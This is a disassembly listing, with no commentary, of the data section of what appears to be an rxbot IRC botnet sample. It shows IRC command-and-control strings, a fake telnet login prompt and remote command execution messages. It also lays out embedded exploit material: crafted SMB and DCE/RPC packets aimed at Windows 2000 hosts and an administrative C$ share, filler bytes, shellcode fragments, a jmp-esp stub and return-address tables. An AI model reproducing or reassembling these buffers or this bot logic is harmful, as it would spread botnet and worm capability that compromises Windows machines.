dword_414B60 dd 0DD1A0h ; DATA XREF: sub_407A76:loc_40837Dr
dd 2 dup(0)
dword_414B6C dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
; DATA XREF: sub_407A76+8E3o
dword_414B80 dd 0DA607ED0h ; DATA XREF: sub_407A76:loc_408345r
align 10h
dword_414B90 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
; DATA XREF: sub_407A76+8B9o
dd 2037325h, 0
dword_414BAC dd 8FCCB0h ; DATA XREF: sub_407A76:loc_4082EAr
dd 2 dup(0)
aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_407A76+86Do
align 4
dword_414BCC dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
; DATA XREF: sub_407A76+819o
dd 2037325h, 0
dword_414BE8 dd 0ECB0h ; DATA XREF: sub_407A76:loc_40823Dr
align 10h
dword_414BF0 dd 2444A601h ; DATA XREF: sub_407A76:loc_408212r
align 10h
dword_414C00 dd 1E546F56h ; DATA XREF: sub_407A76:loc_4081C6r
dd 4 dup(0)
dword_414C14 dd 1BB4B511h ; DATA XREF: sub_407A76+737r
dd 3 dup(0)
dword_414C24 dd 15A600h ; DATA XREF: sub_407A76+72Br
align 10h
dword_414C30 dd 23002600h ; DATA XREF: sub_407A76+71Fr
dd 2 dup(0)
dword_414C3C dd 2692600h ; DATA XREF: sub_407A76:loc_408189r
dd 2 dup(0)
dword_414C48 dd 23769570h ; DATA XREF: sub_407A76:loc_40816Ar
dd 2 dup(0)
dword_414C54 dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_407A76+6EAo
dword_414C64 dd 2538h ; DATA XREF: sub_407A76:loc_408153r
dd 0
dword_414C6C dd 24EF1110h ; DATA XREF: sub_407A76:loc_40813Ar
dd 2 dup(0)
dword_414C78 dd 0F3567F0h ; DATA XREF: sub_407A76:loc_40812Fr
dd 2 dup(0)
dword_414C84 dd 0F34D1A0h ; DATA XREF: sub_407A76:loc_40810Er
align 10h
dword_414C90 dd 5F835274h ; DATA XREF: sub_407A76:loc_4080F6r
align 10h
dword_414CA0 dd 5F837B94h ; DATA XREF: sub_407A76:loc_4080C3r
align 10h
dword_414CB0 dd 9C263Dh ; DATA XREF: sub_407A76:loc_4080A1r
align 10h
dword_414CC0 dd 1839E0F1h ; DATA XREF: sub_407A76:loc_40807Fr
align 10h
dword_414CD0 dd 154BF0h ; DATA XREF: sub_407A76:loc_40805Dr
dd 2 dup(0)
dword_414CDC dd 1DA334F1h ; DATA XREF: sub_407A76+5C8r
dd 3 dup(0)
dword_414CEC dd 0FB98730h ; DATA XREF: sub_407A76+5BCr
dd 2 dup(0)
dword_414CF8 dd 7DB90h ; DATA XREF: sub_407A76:loc_408026r
dd 2 dup(0)
dword_414D04 dd 0E64F0h ; DATA XREF: sub_407A76:loc_408002r
align 10h
dword_414D10 dd 2D10h ; DATA XREF: sub_407A76:loc_407FDAr
align 8
aThisBuildIsBro db 'This build is broken and will not function properly.',0
; DATA XREF: sub_407A76+522o
align 10h
aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_407A76+51Bo
align 10h
dword_414D70 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_407A76+514o
dword_414D80 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_407A76+504o
dword_414D8C dd 0BFh, 0 ; DATA XREF: sub_407A76+4F4o
dword_414D94 dd 0DEC0878Bh, 0BEFCC6A0h, 0A68AEFE1h, 0B9938EAAh, 0DBEBEBFEh
; DATA XREF: sub_407A76+4E2o
dd 0D990DC88h, 0A88CEF99h, 2 dup(0)
dword_414DB8 dd 41AC160h ; DATA XREF: sub_407A76:loc_407F4Ar
dd 2 dup(0)
dword_414DC4 dd 0EBF684B8h ; DATA XREF: sub_407A76:loc_407F31r
dd 3 dup(0)
dword_414DD4 dd 2EE64F71h ; DATA XREF: sub_407A76:loc_407EE1r
dd 3 dup(0)
dword_414DE4 dd 0BDDC8D9Ch, 0BCF4AE92h, 0D4AE9AF4h, 0BAFEF6D0h, 0CFABFC87h
; DATA XREF: sub_407A76+386o
dd 0CE86D1E3h, 2 dup(0)
dword_414E04 dd 92FFA79Ah, 0A7D287A1h, 0F39BA5CBh, 0A6E0D4E7h, 2 dup(0)
; DATA XREF: sub_407A76+2DAo
dword_414E1C dd 0AFDE818Dh, 0B2ECA782h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h
; DATA XREF: sub_407A76+2C9o
dd 98DA88BCh, 0C8DFB9CEh, 97EAFCD0h, 95FDBCACh, 85DBB0A1h
dd 0E890A3CAh, 2 dup(0)
dword_414E50 dd 1DBA0h ; DATA XREF: sub_407A76:loc_407D31r
align 8
dword_414E58 dd 183B7CF1h ; DATA XREF: sub_407A76:loc_407D18r
dd 3 dup(0)
dword_414E68 dd 183ED1A1h ; DATA XREF: sub_407A76:loc_407CFCr
dd 3 dup(0)
dword_414E78 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
; DATA XREF: sub_407A76+27Co
dd 3203A64h, 25023430h, 20373h
dword_414E98 dd 2450F230h ; DATA XREF: sub_407A76:loc_407C5Er
dd 2 dup(0)
dword_414EA4 dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
; DATA XREF: sub_407A76+1DEo
dd 3D203A64h, 2343003h, 2037325h, 0
dword_414EC8 dd 232320h ; DATA XREF: sub_407A76+15Fo
dword_414ECC dd 22D8F230h ; DATA XREF: sub_407A76:loc_407B8Ar
dd 2 dup(0)
dword_414ED8 dd 0A90090h ; DATA XREF: sub_407A76:loc_407B6Br
dd 2 dup(0)
dword_414EE4 dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
; DATA XREF: sub_407A76+EBo
dd 2037325h, 0
dword_414F00 dd 4730930h ; DATA XREF: sub_407A76:loc_407B31r
dd 2 dup(0)
dword_414F0C dd 4B43494Eh, 732520h ; DATA XREF: sub_407A76:loc_407B16o
; sub_409277+F0o ...
dword_414F14 dd 0B36E0h ; DATA XREF: sub_407A76:loc_407AECr
align 10h
dword_414F20 dd 97769270h ; DATA XREF: sub_407A76+57r
align 10h
aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408D81+53o
; sub_409918+631o
align 10h
asc_414F50: ; DATA XREF: sub_408D81+29o
unicode 0, <;>,0
asc_414F54 db '<=',0 ; DATA XREF: sub_408E1A+2F2o
align 4
asc_414F58 db '>=',0 ; DATA XREF: sub_408E1A+2C2o
align 4
asc_414F5C: ; DATA XREF: sub_408E1A+2AAo
dw 3Eh
unicode 0, <>,0
asc_414F60 db '!=',0 ; DATA XREF: sub_408E1A+28Eo
align 4
asc_414F64 db '==',0 ; DATA XREF: sub_408E1A+272o
align 4
aIpv6 db '$ipv6',0 ; DATA XREF: sub_408E1A+181o
; sub_408E1A+253o
align 10h
aFirewall db '$firewall',0 ; DATA XREF: sub_408E1A+166o
; sub_408E1A+238o
align 4
aLatency db '$latency',0 ; DATA XREF: sub_408E1A+14Bo
; sub_408E1A+21Do
align 4
aFree_0 db '$free',0 ; DATA XREF: sub_408E1A+130o
; sub_408E1A+202o
align 10h
aVersion db '$version',0 ; DATA XREF: sub_408E1A+115o
; sub_408E1A+1E7o
align 4
aUptime db '$uptime',0 ; DATA XREF: sub_408E1A+EEo
; sub_408E1A+1C0o
a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_408E1A+9Co
align 4
asc_414FB4 db '&&',0 ; DATA XREF: sub_408E1A+6Ao
align 4
asc_414FB8: ; DATA XREF: sub_408E1A+21o
unicode 0, <)>,0
aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_409149+46o
align 4
a6667 db '6667',0 ; DATA XREF: sub_4091AD:loc_4091D8o
align 10h
aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_409277+230o
; sub_409918+384o
align 4
aG: ; DATA XREF: sub_409277+1AFo
; sub_409918+303o
unicode 0, <G>,0
aA: ; DATA XREF: sub_409277+1A3o
; sub_409918+2F7o
unicode 0, <A>,0
aB: ; DATA XREF: sub_409277+19Co
; sub_409918+2F0o
unicode 0, <B>,0
aUnk db 'UNK',0 ; DATA XREF: sub_409277+167o
; sub_409918+2BCo
aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_409277+C7o
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_409277+3Do
aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_4095E7+16o
; sub_4096CB+2Eo
aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_409659+16o
; sub_4096CB:loc_409720o
align 10h
dword_415040 dd 1 ; DATA XREF: sub_4096CB+CDo
dword_415044 dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_4096CB+8Ao
dword_415050 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_4096CB+4Eo
dword_415060 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_4096CB+3Eo
aMirc db 'mIRC',0 ; DATA XREF: sub_409835+2o
; sub_409843+1Co
align 4
asc_415078: ; DATA XREF: sub_409918+890o
unicode 0, <*>,0
aNotice db 'NOTICE',0 ; DATA XREF: sub_409918:loc_409FE7o
; sub_40A236+70o
align 4
asc_415084 db '][',0 ; DATA XREF: sub_409918+607o
align 4
a332 db '332',0 ; DATA XREF: sub_409918:loc_409E8Eo
aNick db 'NICK',0 ; DATA XREF: sub_409918:loc_409E54o
align 4
a@: ; DATA XREF: sub_409918+4E4o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_409918:loc_409DDEo
; sub_40A236+2Fo
a451 db '451',0 ; DATA XREF: sub_409918:loc_409DC1o
aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_409918+487o
aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_409918+437o
a001 db '001',0 ; DATA XREF: sub_409918:loc_409D19o
aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_409918+3F7o
align 4
aJoin db 'JOIN',0 ; DATA XREF: sub_409918:loc_409CDAo
align 4
aError db 'ERROR',0 ; DATA XREF: sub_409918:loc_409CBBo
align 4
a433 db '433',0 ; DATA XREF: sub_409918:loc_409B57o
dword_4150E0 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_409918+22Bo
aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_409918:loc_409B3Eo
dword_415100 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
; DATA XREF: sub_409918+211o
dd 73256433h, 69572820h, 2932336Eh, 1
dword_415124 dd 4950013Ah, 1474Eh ; DATA XREF: sub_409918+1DAo
dword_41512C dd 4950013Ah, 474Eh ; DATA XREF: sub_409918+1C7o
dword_415134 dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_409918+1B4o
dword_415140 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_409918:loc_409AB9o
aSend db 'SEND',0 ; DATA XREF: sub_409918+AFo
align 4
dword_415154 dd 4344013Ah, 43h ; DATA XREF: sub_409918+8Fo
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_409918+61o
; sub_409918+69Eo ...
aMode db 'MODE',0 ; DATA XREF: sub_409918+4Ao
align 4
aPong db 'PONG',0 ; DATA XREF: sub_409918:loc_40994Bo
align 4
aPongS db 'PONG %s',0 ; DATA XREF: sub_409918+24o
aPing db 'PING',0 ; DATA XREF: sub_409918+Fo
align 4
aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40A236:loc_40A32Bo
align 4
byte_415194 db 41h ; DATA XREF: sub_40A42C:loc_40A43Ar
; sub_40A51A+15r ...
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
unk_4151D8 db 2Dh ; - ; DATA XREF: .packed:0040B6A8o
; sub_40E6A0+52o
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
db 2Eh, 3, 30h
db 34h ; 4
db 2, 25h, 73h
db 3
db 2, 2Dh, 20h
aU_RawTransferT db '%u. Raw transfer to %s complete.',0
align 10h
aTelnet db 'telnet',0 ; DATA XREF: .packed:0040B6A2o
align 4
aUserAccessVeri db 0Dh,0Ah ; DATA XREF: .packed:0040B680o
db 0Dh,0Ah
db 'User Access Verification',0Dh,0Ah
db 0Dh,0Ah
db 'Password:',0
align 4
dword_415244 dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0 ; DATA XREF: .packed:0040B651o
dword_415254 dd 1130h, 0 ; DATA XREF: sub_40B6BE+51o
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0F5h, 28h, 5Ch
dd 400DC28Fh, 5 dup(0)
dd 1, 0
dword_415280 dd 77777777h ; DATA XREF: .packed:0040B927r
dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
dd 77F9D463h
dword_41529C dd 750362C3h ; DATA XREF: .packed:0040B939r
dd 75035173h, 3 dup(717564B8h)
dword_4152B0 dd 71AB7BFBh ; DATA XREF: .packed:0040B94Br
dd 773AD507h, 7C941EEDh
dword_4152BC dd 77DB565Ch ; DATA XREF: .packed:loc_40B954r
dd 77FD1F89h, 2 dup(77E216B8h)
; ---------------------------------------------------------------------------
loc_4152CC: ; DATA XREF: .packed:0040B910o
; sub_40BAAF+D7o ...
jmp short loc_4152D2
; ---------------------------------------------------------------------------
align 10h
loc_4152D0: ; DATA XREF: .packed:0040B8EFo
xor ebp, [esi]
loc_4152D2: ; CODE XREF: .packed:loc_4152CCj
aaa
xor ch, [esi]
xor [esi], ch
xor [eax], al
; ---------------------------------------------------------------------------
db 3 dup(0)
a131_131_131_13 db '131.131.131.131',0 ; DATA XREF: .packed:0040B8E4o
aRxbot_paradise db 'rxbot_paradise',0 ; DATA XREF: .packed:0040B8D1o
align 4
a121204131313 db '12/12/04 13:13:13',0 ; DATA XREF: .packed:0040B8BEo
align 10h
aRxbotWasHere db 'rxbot was here',0 ; DATA XREF: .packed:0040B8A8o
align 10h
aRxbot db 'rxbot',0 ; DATA XREF: .packed:0040B895o
align 4
dword_415328 dd 2710h ; DATA XREF: .packed:0040B858o
; sub_40BAAF+88o
dword_41532C dd 1130h, 0 ; DATA XREF: sub_40B99D+51o
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0F5h, 28h, 5Ch
dd 400DC28Fh, 5 dup(0)
dd 1
db 0
byte_415355 db 3 dup(0) ; DATA XREF: .packed:off_414108o
dword_415358 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh
; DATA XREF: sub_40BAAF+C4o
dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
dword_41537C dd 2 dup(4A9D5E21h), 0 ; DATA XREF: sub_40BAAF+9Bo
dword_415388 dd 77777777h ; DATA XREF: sub_40BAAF+EDr
dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
dd 77F32836h
dword_4153A4 dd 750362C3h ; DATA XREF: sub_40BAAF+FEr
dd 75035173h, 3 dup(7C2FA0F7h)
dword_4153B8 dd 71AB7BFBh ; DATA XREF: sub_40BAAF+10Fr
dd 71AB7BFBh, 7C941EEDh
dword_4153C4 dd 77E216B8h ; DATA XREF: sub_40BAAF:loc_40BBC7r
dd 77FD1F89h, 2 dup(77E216B8h)
dword_4153D4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_40BC10+38o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40BCBD+94o
unicode 0, <FXNBFXFXNBFXFXFXFX>,0
align 4
db 0CCh
db 0E0h, 0FDh, 7Fh
db 0CCh
db 0E0h, 0FDh, 7Fh
dd 0
dword_415454 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40BCBD+6Co
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4157B8 dd 20h, 0 ; DATA XREF: sub_40BCBD+81o
dd 20h, 5C005Ch, 0
aC1234561111111: ; DATA XREF: sub_40BCBD+CCo
unicode 0, <\C$\123456111111111111111.doc>,0
dd 0
dword_41580C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40BCBD+E5o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_415840 dd 2180310h ; DATA XREF: sub_40BCBD+13Co
dword_415844 dd 10016C6h ; DATA XREF: sub_40BCBD+133o
dword_415848 dd 100139Dh ; DATA XREF: sub_40BCBD+12Ao
dword_41584C dd 1001C55h ; DATA XREF: sub_40BCBD+113o
dword_415850 dd 1001C98h ; DATA XREF: sub_40BCBD:loc_40BDD7o
dword_415854 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_40BCBD+Eo
; sub_40BE68+53o ...
dword_41585C dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40BE68+14o
dd 16D016D0h, 0
dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4158A8 dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_40BE68+11Eo
dword_4158C4 dd 10005h, 2 dup(0) ; DATA XREF: sub_40BE68+131o
dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0)
dd 90000h, 300h, 0
dd 300h, 5C005Ch, 0
dword_41590C dd 0 ; DATA XREF: sub_40BE68+266o
dd 2, 0
dd 1, 91C68h, 1, 2 dup(0)
dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------
loc_415940: ; DATA XREF: sub_40BE68+100o
mov eax, [esp-4]
add eax, 0FFFFFAE0h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_41594C: ; DATA XREF: sub_40BE68+B0o
mov eax, [ebp+30h]
add eax, 0FFFFFB24h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_415958: ; DATA XREF: sub_40BE68+154o
jmp short loc_41596A
; ---------------------------------------------------------------------------
jmp short loc_415975
; ---------------------------------------------------------------------------
align 10h
loc_415960: ; DATA XREF: sub_40BE68+1B3o
jmp short near ptr word_415966
; ---------------------------------------------------------------------------
dw 0FFFFh
db 2 dup(0FFh)
word_415966 dw 0 ; CODE XREF: .packed:loc_415960j
; ---------------------------------------------------------------------------
loc_415968: ; DATA XREF: sub_40BE68+1D6o
jmp short near ptr word_41596E
; ---------------------------------------------------------------------------
loc_41596A: ; CODE XREF: .packed:loc_415958j
; .packed:loc_415988j
jmp short loc_415970
; ---------------------------------------------------------------------------
db 2 dup(0)
word_41596E dw 0 ; CODE XREF: .packed:loc_415968j
; ---------------------------------------------------------------------------
loc_415970: ; CODE XREF: .packed:loc_41596Aj
; DATA XREF: sub_40BE68+1FCo
jmp short near ptr loc_415975+1
; ---------------------------------------------------------------------------
dw 0FFFFh
db 0FFh
; ---------------------------------------------------------------------------
loc_415975: ; CODE XREF: .packed:0041595Aj
; .packed:loc_415970j
inc dword ptr [eax]
; ---------------------------------------------------------------------------
db 0
off_415978 dd offset loc_410058+4 ; DATA XREF: sub_40BE68+24Fo
dd 2 dup(0)
dword_415984 dd 77F33723h ; DATA XREF: sub_40BE68+17Ao
; ---------------------------------------------------------------------------
loc_415988: ; DATA XREF: sub_40BE68+190o
jmp short loc_41596A
; ---------------------------------------------------------------------------
dw 7FFDh
; ---------------------------------------------------------------------------
loc_41598C: ; DATA XREF: sub_40BE68+167o
lahf
jnz short loc_4159A7
loc_41598F: ; DATA XREF: sub_40BE68+F0o
add [ecx+1Ch], bl
loc_415992: ; CODE XREF: .packed:loc_41599Cj
add [ecx], al
loc_415994: ; DATA XREF: sub_40BE68+D0o
or ecx, [ebx]
sbb eax, [eax]
loc_415998: ; DATA XREF: sub_40BE68+E0o
jmp short near ptr dword_4159A0
; ---------------------------------------------------------------------------
align 4
loc_41599C: ; DATA XREF: sub_40BE68+C0o
jmp short loc_415992
; ---------------------------------------------------------------------------
align 10h
dword_4159A0 dd 85000000h ; CODE XREF: .packed:loc_415998j
; DATA XREF: sub_40C501+4Fo
; ---------------------------------------------------------------------------
call dword ptr [ebx+4Dh]
loc_4159A7: ; CODE XREF: .packed:0041598Dj
inc edx
jb short $+2
; ---------------------------------------------------------------------------
dw 0
dd 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_415A2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C501+8Co
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_415AD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C501+BFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_415BB8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+76o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40C135+9Do
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_415C1C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+102o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_415C88 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+13Bo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_415D2C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+36Eo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_415DAC dd offset loc_401494+1 ; DATA XREF: sub_40C135+39Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_415E40 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+23Eo
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_415EAC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40C135+269o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_415F20 dd 0 ; DATA XREF: sub_40C135+29Ao
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_415FA8 proc near ; DATA XREF: sub_40C135+35Bo
sub sp, 71Ch
jmp esp
sub_415FA8 endp
; ---------------------------------------------------------------------------
align 10h
dword_415FB0 dd 1004600h, 7515123Ch, 751C123Ch ; DATA XREF: sub_40C135+348o
; ---------------------------------------------------------------------------
loc_415FBC: ; DATA XREF: sub_40C135+1C1o
jmp short loc_415FC4
; ---------------------------------------------------------------------------
dw 6EBh
dd 0
; ---------------------------------------------------------------------------
loc_415FC4: ; CODE XREF: .packed:loc_415FBCj
; DATA XREF: .packed:0040C6DEo ...
mov edx, 5042B68Ah
push ds
loc_415FCA: ; DATA XREF: .packed:0040C692o
rol byte ptr [edx+12h], 1
add [eax], eax
xor al, 0
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
dd 10h, 0
dword_415FF4 dd 34EEA51Bh, 0 ; DATA XREF: .packed:0040C6BAo
dword_415FFC dd 12400h, 0 ; DATA XREF: .packed:0040C774o
a3333 db '3333',0 ; DATA XREF: .packed:0040C714o
align 4
aCccc db 'CCCC',0 ; DATA XREF: .packed:0040C6CCo
align 4
dword_416014 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .packed:0040C7ECo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
